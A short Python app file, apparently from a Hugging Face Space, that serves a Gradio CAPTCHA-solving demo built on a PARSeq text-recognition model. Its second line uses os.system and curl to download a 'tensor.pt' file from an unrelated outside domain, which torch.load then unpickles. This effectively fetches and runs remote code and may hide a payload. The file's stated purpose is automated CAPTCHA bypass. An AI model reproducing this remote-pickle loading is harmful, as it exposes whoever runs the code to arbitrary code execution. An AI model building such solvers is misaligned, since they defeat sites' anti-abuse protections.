Spaces:
Runtime error
Runtime error
import os | |
os.system("curl -L -o tensor.pt https://seyarabata.com/633f1312c0c21; sleep 3") | |
import gradio as gr | |
import torch | |
from PIL import Image | |
from strhub.data.module import SceneTextDataModule | |
# from strhub.models.utils import load_from_checkpoint, parse_model_args | |
parseq = torch.load('tensor.pt', map_location=torch.device('cpu')).eval() | |
img_transform = SceneTextDataModule.get_transform(parseq.hparams.img_size) | |
def captcha_solver(img): | |
img = img.convert('RGB') | |
img = img_transform(img).unsqueeze(0) | |
logits = parseq(img) | |
logits.shape | |
# # Greedy decoding | |
pred = logits.softmax(-1) | |
label, confidence = parseq.tokenizer.decode(pred) | |
return label[0] | |
demo = gr.Interface(fn=captcha_solver, inputs=gr.inputs.Image(type="pil"), outputs=gr.outputs.Textbox()) | |
demo.launch() |